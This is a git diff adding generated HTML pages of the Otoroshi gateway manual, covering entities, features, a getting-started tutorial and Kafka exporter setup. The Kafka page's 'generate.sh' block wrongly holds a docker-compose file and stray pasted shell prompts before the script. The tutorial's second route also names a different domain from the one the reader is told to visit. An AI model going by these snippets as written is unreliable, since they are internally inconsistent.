+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/entities/service-groups.html b/docs/manual/entities/service-groups.html new file mode 100644 index 0000000000..9359c44145 --- /dev/null +++ b/docs/manual/entities/service-groups.html @@ -0,0 +1,409 @@ + + + + +Service groups · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Service groups

+

A service group is composed of an unique id, a Group name, a Group description, an Organization and a Team. As all Otoroshi resources, a service group have a list of tags and metadata associated.

+
+

The first instinctive usage of service group is to group a list of services.

+

When it’s done, you can authorize an api key on a specific group. Instead of authorize an api key for each service, you can regroup a list of services together, and give authorization on the group (read the page on the api keys and the usage of the Authorized on. field).

+

Access to the list of service groups

+

To visualize and edit the list of groups, you can navigate to your instance on the https://otoroshi.xxxxx/bo/dashboard/groups route or click on the cog icon and select the Service groups button.

+

Once on the page, you can create a new item, edit an existing service group or delete an existing one.

+
+

When a service group is deleted, the resources associated are not deleted. On the other hand, the service group of associated resources is let empty.

+
+ +
+
+ +
+
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/entities/tcp-services.html b/docs/manual/entities/tcp-services.html new file mode 100644 index 0000000000..b708d2a95f --- /dev/null +++ b/docs/manual/entities/tcp-services.html @@ -0,0 +1,450 @@ + + + + +TCP services · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

TCP services

+

TCP service are special kind of otoroshi services meant to proxy pure TCP connections (ssh, database, http, etc)

+

Global information

+
    +
  • Id: generated unique identifier
  • +
  • TCP service name: the name of your TCP service
  • +
  • Enabled: enable and disable the service
  • +
  • TCP service port: the listening port
  • +
  • TCP service interface: network interface listen by the service
  • +
  • Tags: list of tags associated to the service
  • +
  • Metadata: list of metadata associated to the service
  • +
+

TLS

+

this section controls the TLS exposition of the service

+
    +
  • TLS mode +
      +
    • Disabled: no TLS
    • +
    • PassThrough: as the target exposes TLS, the call will pass through otoroshi and use target TLS
    • +
    • Enabled: the service will be exposed using TLS and will chose certificate based on SNI
    • +
    +
  • +
  • Client Auth. +
      +
    • None no mTLS needed to pass
    • +
    • Want pass with or without mTLS
    • +
    • Need need mTLS to pass
    • +
    +
  • +
+

Server Name Indication (SNI)

+

this section control how SNI should be treated

+
    +
  • SNI routing enabled: if enabled, the server will use the SNI hostname to determine which certificate to present to the client
  • +
  • Forward to target if no SNI match: if enabled, a call without any SNI match will be forward to the target
  • +
  • Target host: host of the target called if no SNI
  • +
  • Target ip address: ip of the target called if no SNI
  • +
  • Target port: port of the target called if no SNI
  • +
  • TLS call: encrypt the communication with TLS
  • +
+

Rules

+

for any listening TCP proxy, it is possible to route to multiple targets based on SNI or extracted http host (if proxying http)

+
    +
  • Matching domain name: regex used to filter the list of domains where the rule will be applied
  • +
  • Target host: host of the target
  • +
  • Target ip address: ip of the target
  • +
  • Target port: port of the target
  • +
  • TLS call: enable this flag if the target is exposed using TLS
  • +
+ +
+
+ +
+
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/entities/teams.html b/docs/manual/entities/teams.html new file mode 100644 index 0000000000..74379f119f --- /dev/null +++ b/docs/manual/entities/teams.html @@ -0,0 +1,436 @@ + + + + +Teams · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Teams

+

In Otoroshi, all resources are attached to an Organization and a Team.

+

A team is composed of an unique id, a name, a description and an Organization. As all Otoroshi resources, a Team have a list of tags and metadata associated.

+

A team have an unique organization and can be use on multiples resources (services, api keys, etc …).

+

A connected user on Otoroshi UI has a list of teams and organizations associated. It can be helpful when you want restrict the rights of a connected user.

+
+

Access to the list of teams

+

To visualize and edit the list of teams, you can navigate to your instance on the https://otoroshi.xxxxxx/bo/dashboard/teams route or click on the cog icon and select the teams button.

+

Once on the page, you can create a new item, edit an existing team or delete an existing one.

+
+

When a team is deleted, the resources associated are not deleted. On the other hand, the team of associated resources is let empty.

+
+

Entities location

+

Any otoroshi entity has a location property (_loc when serialized to json) explaining where and by whom the entity can be seen.

+

An entity can be part of multiple teams in an organization

+
{
+  "_loc": {
+    "tenant": "tenant-1",
+    "teams": [
+      "team-1",
+      "team-2"
+    ]
+  }
+  ...
+}
+
+

or all teams

+
{
+  "_loc": {
+    "tenant": "tenant-1",
+    "teams": [
+      "*"
+    ]
+  }
+  ...
+}
+
+ +
+
+ +
+
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/features.html b/docs/manual/features.html new file mode 100644 index 0000000000..d54925093a --- /dev/null +++ b/docs/manual/features.html @@ -0,0 +1,577 @@ + + + + +Features · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Features

+

Traffic Management

+
    +
  • Can proxy any HTTP(s) service (apis, webapps, websocket, etc)
  • +
  • Can proxy any TCP service (app, database, etc)
  • +
  • Can proxy any GRPC service
  • +
  • Multiple load-balancing options: +
      +
    • RoundRobin
    • +
    • Random, Sticky
    • +
    • Ip address hash
    • +
    • Best Response Time
    • +
    +
  • +
  • Distributed in-flight request limiting
  • +
  • Distributed rate limiting
  • +
  • End-to-end HTTP/1.1 support
  • +
  • End-to-end H2 support
  • +
  • End-to-end H3 support
  • +
  • Traffic mirroring
  • +
  • Traffic capture
  • +
  • Canary deployments
  • +
  • Relay routing
  • +
  • Tunnels for easier network exposition
  • +
  • Error templates
  • +
+

Routing

+
    +
  • Router can support ten of thousands of concurrent routes
  • +
  • Router support path params extraction (can be regex validated)
  • +
  • Routing based on +
      +
    • method
    • +
    • hostname (exact, wildcard)
    • +
    • path (exact, wildcard)
    • +
    • header values (exact, regex, wildcard)
    • +
    • query param values (exact, regex, wildcard)
    • +
    +
  • +
  • Support full url rewriting
  • +
+

Routes customization

+
    +
  • Dozens of built-in middlewares (policies/plugins) +
      +
    • circuit breakers
    • +
    • automatic retries
    • +
    • buffering
    • +
    • gzip
    • +
    • headers manipulation
    • +
    • cors
    • +
    • body transformation
    • +
    • graphql gateway
    • +
    • etc
    • +
    +
  • +
  • Support middlewares compiled to WASM (using extism)
  • +
  • Support Open Policy Agent policies for traffic control
  • +
  • Write your own custom middlewares +
      +
    • in scala deployed as jar files
    • +
    • in whatever language you want that can be compiled to WASM
    • +
    +
  • +
+

Routes Monitoring

+
    +
  • Active healthchecks
  • +
  • Route state for the last 90 days
  • +
  • Calls tracing using W3C trace context
  • +
  • Export alerts and events to external database +
      +
    • file
    • +
    • S3
    • +
    • elastic
    • +
    • pulsar
    • +
    • kafka
    • +
    • webhook
    • +
    • mailer
    • +
    • logger
    • +
    +
  • +
  • Real-time traffic metrics
  • +
  • Real-time traffic metrics (Datadog, Prometheus, StatsD)
  • +
+

Services discovery

+
    +
  • through DNS
  • +
  • through Eureka 2
  • +
  • through Kubernetes API
  • +
  • through custom otoroshi protocol
  • +
+

API security

+
    +
  • Access management with apikeys and quotas
  • +
  • Automatic apikeys secrets rotation
  • +
  • HTTPS and TLS
  • +
  • End-to-end mTLS calls
  • +
  • Routing constraints
  • +
  • Routing restrictions
  • +
  • JWT tokens validation and manipulation +
      +
    • can support multiple validator on the same routes
    • +
    +
  • +
+

Administration UI

+
    +
  • Manage and organize all resources
  • +
  • Secured users access with Authentication module
  • +
  • Audited users actions
  • +
  • Dynamic changes at runtime without full reload
  • +
  • Test your routes without any external tools
  • +
+

Webapp authentication and security

+
    +
  • OAuth2.0/2.1 authentication
  • +
  • OpenID Connect (OIDC) authentication
  • +
  • LDAP authentication
  • +
  • JWT authentication
  • +
  • OAuth 1.0a authentication
  • +
  • SAML V2 authentication
  • +
  • Internal users management
  • +
  • Secret vaults support +
      +
    • Environment variables
    • +
    • Hashicorp Vault
    • +
    • Azure key vault
    • +
    • AWS secret manager
    • +
    • Google secret manager
    • +
    • Kubernetes secrets
    • +
    • Izanami
    • +
    • Spring Cloud Config
    • +
    • Http
    • +
    • Local
    • +
    +
  • +
+

Certificates management

+
    +
  • Dynamic TLS certificates store
  • +
  • Dynamic TLS termination
  • +
  • Internal PKI +
      +
    • generate self signed certificates/CAs
    • +
    • generate/sign certificates/CAs/subCAs
    • +
    • AIA
    • +
    • OCSP responder
    • +
    • import P12/certificate bundles
    • +
    +
  • +
  • ACME / Let’s Encrypt support
  • +
  • On-the-fly certificate generation based on a CA certificate without request loss
  • +
  • JWKS exposition for public keypair
  • +
  • Default certificate
  • +
  • Customize mTLS trusted CAs in the TLS handshake
  • +
+

Clustering

+
    +
  • based on a control plane/data plane pattern
  • +
  • encrypted communication
  • +
  • backup capabilities to allow data plane to start without control plane reachable to improve resilience
  • +
  • relay routing to forward traffic from one network zone to others
  • +
  • distributed web authentication accross nodes
  • +
+

Performances and testing

+
    +
  • Chaos engineering
  • +
  • Horizontal Scalability or clustering
  • +
  • Canary testing
  • +
  • Http client in UI
  • +
  • Request debugging
  • +
  • Traffic capture
  • +
+

Kubernetes integration

+
    +
  • Standard Ingress controller
  • +
  • Custom Ingress controller +
      +
    • Manage Otoroshi resources from Kubernetes
    • +
    +
  • +
  • Validation of resources via webhook
  • +
  • Service Mesh for easy service-to-service communication (based on Kubernetes sidecars)
  • +
+

Organize

+
    +
  • multi-organizations
  • +
  • multi-teams
  • +
  • routes groups
  • +
+

Developpers portal

+ + +
+
+
+
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/getting-started.html b/docs/manual/getting-started.html new file mode 100644 index 0000000000..def6c40b35 --- /dev/null +++ b/docs/manual/getting-started.html @@ -0,0 +1,574 @@ + + + + +Getting Started · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Getting Started

+ +

Download the latest jar of Otoroshi

+
curl -L -o otoroshi.jar 'https://github.com/MAIF/otoroshi/releases/download/v16.15.4/otoroshi.jar'
+
+

Once downloading, run Otoroshi.

+
java -Dotoroshi.adminPassword=password -jar otoroshi.jar 
+
+

Yes, that command is all it took to start it up.

+

Protect your service with Otoroshi ApiKey

+
+Route plugins: +Apikeys +
+

Create a new route, exposed on http://myapi.oto.tools:8080, which will forward all requests to the mirror https://mirror.otoroshi.io.

+
curl -X POST http://otoroshi-api.oto.tools:8080/api/routes \
+-H "Content-type: application/json" \
+-u admin-api-apikey-id:admin-api-apikey-secret \
+-d @- <<'EOF'
+{
+  "name": "myapi",
+  "frontend": {
+    "domains": ["myapi.oto.tools"]
+  },
+  "backend": {
+    "targets": [
+      {
+        "hostname": "mirror.otoroshi.io",
+        "port": 443,
+        "tls": true
+      }
+    ]
+  },
+  "plugins": [
+    {
+        "plugin": "cp:otoroshi.next.plugins.ApikeyCalls",
+        "enabled": true,
+        "config": {
+            "validate": true,
+            "mandatory": true,
+            "update_quotas": true
+        }
+    }
+  ]
+}
+EOF
+
+

Now that we have created our route, let’s see if our request reaches our upstream service. You should receive an error from Otoroshi about a missing api key in our request.

+
curl 'http://myapi.oto.tools:8080'
+
+

It looks like we don’t have access to it. Create your first api key with a quota of 10 calls by day and month.

+
curl -X POST 'http://otoroshi-api.oto.tools:8080/api/apikeys' \
+-H "Content-type: application/json" \
+-u admin-api-apikey-id:admin-api-apikey-secret \
+-d @- <<'EOF'
+{
+    "clientId": "my-first-apikey-id",
+    "clientSecret": "my-first-apikey-secret",
+    "clientName": "my-first-apikey",
+    "description": "my-first-apikey-description",
+    "authorizedGroup": "default",
+    "enabled": true,
+    "throttlingQuota": 10,
+    "dailyQuota": 10,
+    "monthlyQuota": 10
+}
+EOF
+
+

Call your api with the generated apikey.

+
curl 'http://myapi.oto.tools:8080' -u my-first-apikey-id:my-first-apikey-secret
+
+
{
+  "method": "GET",
+  "path": "/",
+  "headers": {
+    "host": "mirror.otoroshi.io",
+    "accept": "*/*",
+    "user-agent": "curl/7.64.1",
+    "authorization": "Basic bXktZmlyc3QtYXBpLWtleS1pZDpteS1maXJzdC1hcGkta2V5LXNlY3JldA==",
+    "otoroshi-request-id": "1465298507974836306",
+    "otoroshi-proxied-host": "myapi.oto.tools:8080",
+    "otoroshi-request-timestamp": "2021-11-29T13:36:02.888+01:00",
+  },
+  "body": ""
+}
+
+

Check your remaining quotas

+
curl 'http://myapi.oto.tools:8080' -u my-first-apikey-id:my-first-apikey-secret --include
+
+

This should output these following Otoroshi headers

+
Otoroshi-Daily-Calls-Remaining: 6
+Otoroshi-Monthly-Calls-Remaining: 6
+
+

Keep calling the api and confirm that Otoroshi is sending you an apikey exceeding quota error

+
{ 
+    "Otoroshi-Error": "You performed too much requests"
+}
+
+

Well done, you have secured your first api with the apikeys system with limited call quotas.

+

Secure your web app in 2 calls with an authentication

+
+Route plugins: +Authentication +
+

Create an in-memory authentication module, with one registered user, to protect your service.

+
curl -X POST 'http://otoroshi-api.oto.tools:8080/api/auths' \
+-H "Otoroshi-Client-Id: admin-api-apikey-id" \
+-H "Otoroshi-Client-Secret: admin-api-apikey-secret" \
+-H 'Content-Type: application/json; charset=utf-8' \
+-d @- <<'EOF'
+{
+    "type":"basic",
+    "id":"auth_mod_in_memory_auth",
+    "name":"in-memory-auth",
+    "desc":"in-memory-auth",
+    "users":[
+        {
+            "name":"User Otoroshi",
+            "password":"$2a$10$oIf4JkaOsfiypk5ZK8DKOumiNbb2xHMZUkYkuJyuIqMDYnR/zXj9i",
+            "email":"user@foo.bar",
+            "metadata":{
+                "username":"roger"
+            },
+            "tags":["foo"],
+            "webauthn":null,
+            "rights":[{
+                "tenant":"*:r",
+                "teams":["*:r"]
+            }]
+        }
+    ],
+    "sessionCookieValues":{
+        "httpOnly":true,
+        "secure":false
+    }
+}
+EOF
+
+

Then create a service secure by the previous authentication module, which proxies google.fr on webapp.oto.tools.

+
curl -X POST 'http://otoroshi-api.oto.tools:8080/api/routes' \
+-H "Content-type: application/json" \
+-u admin-api-apikey-id:admin-api-apikey-secret \
+-d @- <<'EOF'
+{
+  "name": "myapi",
+  "frontend": {
+    "domains": ["myapi.oto.tools"]
+  },
+  "backend": {
+    "targets": [
+      {
+        "hostname": "google.fr",
+        "port": 443,
+        "tls": true
+      }
+    ]
+  },
+  "plugins": [
+    {
+        "plugin": "cp:otoroshi.next.plugins.AuthModule",
+        "enabled": true,
+        "config": {
+            "pass_with_apikey": false,
+            "auth_module": null,
+            "module": "auth_mod_in_memory_auth"
+        }
+    }
+  ]
+}
+EOF
+
+

Navigate to http://webapp.oto.tools:8080, login with user@foo.bar/password and check that you’re redirect to google page.

+

Well done! You completed the discovery tutorial.

+ +
+ +
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/how-to-s/communicate-with-kafka.html b/docs/manual/how-to-s/communicate-with-kafka.html new file mode 100644 index 0000000000..baeb508b4f --- /dev/null +++ b/docs/manual/how-to-s/communicate-with-kafka.html @@ -0,0 +1,822 @@ + + + + +Communicate with Kafka · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Communicate with Kafka

+

Every matching event can be sent to an Apache Kafka topic.

+

SASL mechanism

+

Create a docker-compose.yml with the following content

+
version: "2"
+
+services:
+  zookeeper:
+    image: docker.io/bitnami/zookeeper:3.8
+    ports:
+      - "2181:2181"
+    environment:
+      - ALLOW_ANONYMOUS_LOGIN=yes
+  kafka:
+    image: docker.io/bitnami/kafka:3.2
+    ports:
+      - "9092:9092"
+    environment:
+      - KAFKA_CFG_ZOOKEEPER_CONNECT=zookeeper:2181
+      - KAFKA_CFG_LISTENER_SECURITY_PROTOCOL_MAP=INTERNAL:PLAINTEXT,CLIENT:SASL_PLAINTEXT
+      - ALLOW_PLAINTEXT_LISTENER=yes
+      - KAFKA_CFG_LISTENERS=INTERNAL://:9093,CLIENT://:9092
+      - KAFKA_CFG_ADVERTISED_LISTENERS=INTERNAL://kafka:9093,CLIENT://kafka:9092
+      - KAFKA_CFG_INTER_BROKER_LISTENER_NAME=INTERNAL
+      - KAFKA_CLIENT_USERS=user
+      - KAFKA_CLIENT_PASSWORDS=password
+
+    depends_on:
+      - zookeeper
+
+

Launch the command to create the zookeeper and kafka containers

+
docker-compose up -d
+
+

Create a new exporter on your Otoroshi instance with the following values

+
+

PLAINTEXT mechanism

+

Create a docker-compose.yml with the following content

+
version: "2"
+
+services:
+  zookeeper:
+    image: docker.io/bitnami/zookeeper:3.8
+    ports:
+      - "2181:2181"
+    environment:
+      - ALLOW_ANONYMOUS_LOGIN=yes
+  kafka:
+    image: docker.io/bitnami/kafka:3.2
+    ports:
+      - "9092:9092"
+    environment:
+      - KAFKA_CFG_ZOOKEEPER_CONNECT=zookeeper:2181
+      - KAFKA_CFG_LISTENER_SECURITY_PROTOCOL_MAP=INTERNAL:PLAINTEXT,CLIENT:PLAINTEXT
+      - ALLOW_PLAINTEXT_LISTENER=yes
+      - KAFKA_CFG_LISTENERS=INTERNAL://:9093,CLIENT://:9092
+      - KAFKA_CFG_ADVERTISED_LISTENERS=INTERNAL://kafka:9093,CLIENT://kafka:9092
+      - KAFKA_CFG_INTER_BROKER_LISTENER_NAME=INTERNAL
+
+    depends_on:
+      - zookeeper
+
+

Launch the command to create the zookeeper and kafka containers

+
docker-compose up -d
+
+

Create a new exporter on your Otoroshi instance with the following values

+
+

SSL mechanism

+
wget https://raw.githubusercontent.com/confluentinc/confluent-platform-security-tools/master/kafka-generate-ssl.sh
+
+
chmod +x kafka-generate-ssl.sh
+
+

Create a docker-compose.yml with the following content

+
version: '3.5'
+
+services:
+
+  zookeeper:
+    image: "wurstmeister/zookeeper:latest"
+    ports:
+      - "2181:2181"
+
+  kafka:
+    image: wurstmeister/kafka:2.12-2.2.0
+    depends_on:
+      - zookeeper
+    ports:
+      - "9092:9092"
+    environment:
+      KAFKA_ADVERTISED_LISTENERS: 'SSL://kafka:9092'
+      KAFKA_LISTENERS: 'SSL://0.0.0.0:9092'
+      KAFKA_AUTO_CREATE_TOPICS_ENABLE: 'true'
+      KAFKA_ZOOKEEPER_CONNECT: 'zookeeper:2181'
+      KAFKA_SSL_KEYSTORE_LOCATION: '/keystore/kafka.keystore.jks'
+      KAFKA_SSL_KEYSTORE_PASSWORD: 'otoroshi'
+      KAFKA_SSL_KEY_PASSWORD: 'otoroshi'
+      KAFKA_SSL_TRUSTSTORE_LOCATION: '/truststore/kafka.truststore.jks'
+      KAFKA_SSL_TRUSTSTORE_PASSWORD: 'otoroshi'
+      KAFKA_SSL_ENDPOINT_IDENTIFICATION_ALGORITHM: ''
+      KAFKA_CFG_SSL_ENDPOINT_IDENTIFICATION_ALGORITHM: ''
+      KAFKA_SECURITY_INTER_BROKER_PROTOCOL: 'SSL'
+    volumes:
+      - ./truststore:/truststore
+      - ./keystore:/keystore
+
+

Launch the command to create the zookeeper and kafka containers

+
docker-compose up -d
+
+

Create a new exporter on your Otoroshi instance with the following values

+
+

SASL_SSL mechanism

+

Generate the TLS certificates for the Kafka broker.

+

Create a file generate.sh with the following content and run the command

+
chmod +x generate.sh && ./generate.sh
+
+
# Content of the generate.sh file
+
+version: '3.5'
+
+services:
+
+  zookeeper:
+    image: "bitnami/zookeeper:latest"
+    ports:
+      - "2181:2181"
+    environment:
+      - ALLOW_ANONYMOUS_LOGIN=yes
+
+  kafka:
+    image: bitnami/kafka:latest
+    depends_on:
+      - zookeeper
+    ports:
+      - '9092:9092'
+    environment:
+      ALLOW_PLAINTEXT_LISTENER: 'yes'
+      KAFKA_ZOOKEEPER_PROTOCOL: 'PLAINTEXT'
+      KAFKA_CFG_ZOOKEEPER_CONNECT: 'zookeeper:2181'
+      KAFKA_CFG_LISTENER_SECURITY_PROTOCOL_MAP: 'INTERNAL:PLAINTEXT,CLIENT:SASL_SSL'
+      KAFKA_CFG_LISTENERS: 'INTERNAL://:9093,CLIENT://:9092'
+      KAFKA_INTER_BROKER_LISTENER_NAME: 'INTERNAL'
+      KAFKA_CFG_ADVERTISED_LISTENERS: 'INTERNAL://kafka:9093,CLIENT://kafka:9092'
+      KAFKA_CLIENT_USERS: 'user'
+      KAFKA_CLIENT_PASSWORDS: 'password'
+      KAFKA_CERTIFICATE_PASSWORD: 'otoroshi'
+      KAFKA_TLS_TYPE: 'JKS'
+      KAFKA_OPTS: "-Djava.security.auth.login.config=/opt/kafka/kafka_server_jaas.conf"
+    volumes:
+      - ./secrets/kafka_server_jaas.conf:/opt/kafka/kafka_server_jaas.conf
+      - ./truststore/kafka.truststore.jks:/opt/bitnami/kafka/config/certs/kafka.truststore.jks:ro
+      - ./keystore/kafka.keystore.jks:/opt/bitnami/kafka/config/certs/kafka.keystore.jks:ro
+ 79966b@PMP00131  ~/Downloads/kafka_ssl_setup-master 
+ 79966b@PMP00131  ~/Downloads/kafka_ssl_setup-master  cat generate.sh
+#!/usr/bin/env bash
+
+set -e
+
+KEYSTORE_FILENAME="kafka.keystore.jks"
+VALIDITY_IN_DAYS=3650
+DEFAULT_TRUSTSTORE_FILENAME="kafka.truststore.jks"
+TRUSTSTORE_WORKING_DIRECTORY="truststore"
+KEYSTORE_WORKING_DIRECTORY="keystore"
+CA_CERT_FILE="ca-cert"
+KEYSTORE_SIGN_REQUEST="cert-file"
+KEYSTORE_SIGN_REQUEST_SRL="ca-cert.srl"
+KEYSTORE_SIGNED_CERT="cert-signed"
+
+function file_exists_and_exit() {
+  echo "'$1' cannot exist. Move or delete it before"
+  echo "re-running this script."
+  exit 1
+}
+
+if [ -e "$KEYSTORE_WORKING_DIRECTORY" ]; then
+  file_exists_and_exit $KEYSTORE_WORKING_DIRECTORY
+fi
+
+if [ -e "$CA_CERT_FILE" ]; then
+  file_exists_and_exit $CA_CERT_FILE
+fi
+
+if [ -e "$KEYSTORE_SIGN_REQUEST" ]; then
+  file_exists_and_exit $KEYSTORE_SIGN_REQUEST
+fi
+
+if [ -e "$KEYSTORE_SIGN_REQUEST_SRL" ]; then
+  file_exists_and_exit $KEYSTORE_SIGN_REQUEST_SRL
+fi
+
+if [ -e "$KEYSTORE_SIGNED_CERT" ]; then
+  file_exists_and_exit $KEYSTORE_SIGNED_CERT
+fi
+
+echo
+echo "Welcome to the Kafka SSL keystore and truststore generator script."
+
+echo
+echo "First, do you need to generate a trust store and associated private key,"
+echo "or do you already have a trust store file and private key?"
+echo
+echo -n "Do you need to generate a trust store and associated private key? [yn] "
+read generate_trust_store
+
+trust_store_file=""
+trust_store_private_key_file=""
+
+if [ "$generate_trust_store" == "y" ]; then
+  if [ -e "$TRUSTSTORE_WORKING_DIRECTORY" ]; then
+    file_exists_and_exit $TRUSTSTORE_WORKING_DIRECTORY
+  fi
+
+  mkdir $TRUSTSTORE_WORKING_DIRECTORY
+  echo
+  echo "OK, we'll generate a trust store and associated private key."
+  echo
+  echo "First, the private key."
+  echo
+  echo "You will be prompted for:"
+  echo " - A password for the private key. Remember this."
+  echo " - Information about you and your company."
+  echo " - NOTE that the Common Name (CN) is currently not important."
+
+  openssl req -new -x509 -keyout $TRUSTSTORE_WORKING_DIRECTORY/ca-key \
+    -out $TRUSTSTORE_WORKING_DIRECTORY/$CA_CERT_FILE -days $VALIDITY_IN_DAYS
+
+  trust_store_private_key_file="$TRUSTSTORE_WORKING_DIRECTORY/ca-key"
+
+  echo
+  echo "Two files were created:"
+  echo " - $TRUSTSTORE_WORKING_DIRECTORY/ca-key -- the private key used later to"
+  echo "   sign certificates"
+  echo " - $TRUSTSTORE_WORKING_DIRECTORY/$CA_CERT_FILE -- the certificate that will be"
+  echo "   stored in the trust store in a moment and serve as the certificate"
+  echo "   authority (CA). Once this certificate has been stored in the trust"
+  echo "   store, it will be deleted. It can be retrieved from the trust store via:"
+  echo "   $ keytool -keystore <trust-store-file> -export -alias CARoot -rfc"
+
+  echo
+  echo "Now the trust store will be generated from the certificate."
+  echo
+  echo "You will be prompted for:"
+  echo " - the trust store's password (labeled 'keystore'). Remember this"
+  echo " - a confirmation that you want to import the certificate"
+
+  keytool -keystore $TRUSTSTORE_WORKING_DIRECTORY/$DEFAULT_TRUSTSTORE_FILENAME \
+    -alias CARoot -import -file $TRUSTSTORE_WORKING_DIRECTORY/$CA_CERT_FILE
+
+  trust_store_file="$TRUSTSTORE_WORKING_DIRECTORY/$DEFAULT_TRUSTSTORE_FILENAME"
+
+  echo
+  echo "$TRUSTSTORE_WORKING_DIRECTORY/$DEFAULT_TRUSTSTORE_FILENAME was created."
+
+  # don't need the cert because it's in the trust store.
+  rm $TRUSTSTORE_WORKING_DIRECTORY/$CA_CERT_FILE
+else
+  echo
+  echo -n "Enter the path of the trust store file. "
+  read -e trust_store_file
+
+  if ! [ -f $trust_store_file ]; then
+    echo "$trust_store_file isn't a file. Exiting."
+    exit 1
+  fi
+
+  echo -n "Enter the path of the trust store's private key. "
+  read -e trust_store_private_key_file
+
+  if ! [ -f $trust_store_private_key_file ]; then
+    echo "$trust_store_private_key_file isn't a file. Exiting."
+    exit 1
+  fi
+fi
+
+echo
+echo "Continuing with:"
+echo " - trust store file:        $trust_store_file"
+echo " - trust store private key: $trust_store_private_key_file"
+
+mkdir $KEYSTORE_WORKING_DIRECTORY
+
+echo
+echo "Now, a keystore will be generated. Each broker and logical client needs its own"
+echo "keystore. This script will create only one keystore. Run this script multiple"
+echo "times for multiple keystores."
+echo
+echo "You will be prompted for the following:"
+echo " - A keystore password. Remember it."
+echo " - Personal information, such as your name."
+echo "     NOTE: currently in Kafka, the Common Name (CN) does not need to be the FQDN of"
+echo "           this host. However, at some point, this may change. As such, make the CN"
+echo "           the FQDN. Some operating systems call the CN prompt 'first / last name'"
+echo " - A key password, for the key being generated within the keystore. Remember this."
+
+# To learn more about CNs and FQDNs, read:
+# https://docs.oracle.com/javase/7/docs/api/javax/net/ssl/X509ExtendedTrustManager.html
+
+keytool -keystore $KEYSTORE_WORKING_DIRECTORY/$KEYSTORE_FILENAME \
+  -alias localhost -validity $VALIDITY_IN_DAYS -genkey -keyalg RSA
+
+echo
+echo "'$KEYSTORE_WORKING_DIRECTORY/$KEYSTORE_FILENAME' now contains a key pair and a"
+echo "self-signed certificate. Again, this keystore can only be used for one broker or"
+echo "one logical client. Other brokers or clients need to generate their own keystores."
+
+echo
+echo "Fetching the certificate from the trust store and storing in $CA_CERT_FILE."
+echo
+echo "You will be prompted for the trust store's password (labeled 'keystore')"
+
+keytool -keystore $trust_store_file -export -alias CARoot -rfc -file $CA_CERT_FILE
+
+echo
+echo "Now a certificate signing request will be made to the keystore."
+echo
+echo "You will be prompted for the keystore's password."
+keytool -keystore $KEYSTORE_WORKING_DIRECTORY/$KEYSTORE_FILENAME -alias localhost \
+  -certreq -file $KEYSTORE_SIGN_REQUEST
+
+echo
+echo "Now the trust store's private key (CA) will sign the keystore's certificate."
+echo
+echo "You will be prompted for the trust store's private key password."
+openssl x509 -req -CA $CA_CERT_FILE -CAkey $trust_store_private_key_file \
+  -in $KEYSTORE_SIGN_REQUEST -out $KEYSTORE_SIGNED_CERT \
+  -days $VALIDITY_IN_DAYS -CAcreateserial
+# creates $KEYSTORE_SIGN_REQUEST_SRL which is never used or needed.
+
+echo
+echo "Now the CA will be imported into the keystore."
+echo
+echo "You will be prompted for the keystore's password and a confirmation that you want to"
+echo "import the certificate."
+keytool -keystore $KEYSTORE_WORKING_DIRECTORY/$KEYSTORE_FILENAME -alias CARoot \
+  -import -file $CA_CERT_FILE
+rm $CA_CERT_FILE # delete the trust store cert because it's stored in the trust store.
+
+echo
+echo "Now the keystore's signed certificate will be imported back into the keystore."
+echo
+echo "You will be prompted for the keystore's password."
+keytool -keystore $KEYSTORE_WORKING_DIRECTORY/$KEYSTORE_FILENAME -alias localhost -import \
+  -file $KEYSTORE_SIGNED_CERT
+
+echo
+echo "All done!"
+echo
+echo "Delete intermediate files? They are:"
+echo " - '$KEYSTORE_SIGN_REQUEST_SRL': CA serial number"
+echo " - '$KEYSTORE_SIGN_REQUEST': the keystore's certificate signing request"
+echo "   (that was fulfilled)"
+echo " - '$KEYSTORE_SIGNED_CERT': the keystore's certificate, signed by the CA, and stored back"
+echo "    into the keystore"
+echo -n "Delete? [yn] "
+read delete_intermediate_files
+
+if [ "$delete_intermediate_files" == "y" ]; then
+  rm $KEYSTORE_SIGN_REQUEST_SRL
+  rm $KEYSTORE_SIGN_REQUEST
+  rm $KEYSTORE_SIGNED_CERT
+fi
+
+

Create, in the same repository, a repository named secrets with the following configuration.

+
# Content of ~/tmp/kafka/secrets/kafka_server_jaas.conf
+
+Client {
+    org.apache.kafka.common.security.plain.PlainLoginModule required
+    username="user"
+    password="password";
+};
+
+

Create a docker-compose.yml file with the following content.

+
version: '3.5'
+
+services:
+
+  zookeeper:
+    image: "bitnami/zookeeper:latest"
+    ports:
+      - "2181:2181"
+    environment:
+      - ALLOW_ANONYMOUS_LOGIN=yes
+
+  kafka:
+    image: bitnami/kafka:latest
+    depends_on:
+      - zookeeper
+    ports:
+      - '9092:9092'
+    environment:
+      ALLOW_PLAINTEXT_LISTENER: 'yes'
+      KAFKA_ZOOKEEPER_PROTOCOL: 'PLAINTEXT'
+      KAFKA_CFG_ZOOKEEPER_CONNECT: 'zookeeper:2181'
+      KAFKA_CFG_LISTENER_SECURITY_PROTOCOL_MAP: 'INTERNAL:PLAINTEXT,CLIENT:SASL_SSL'
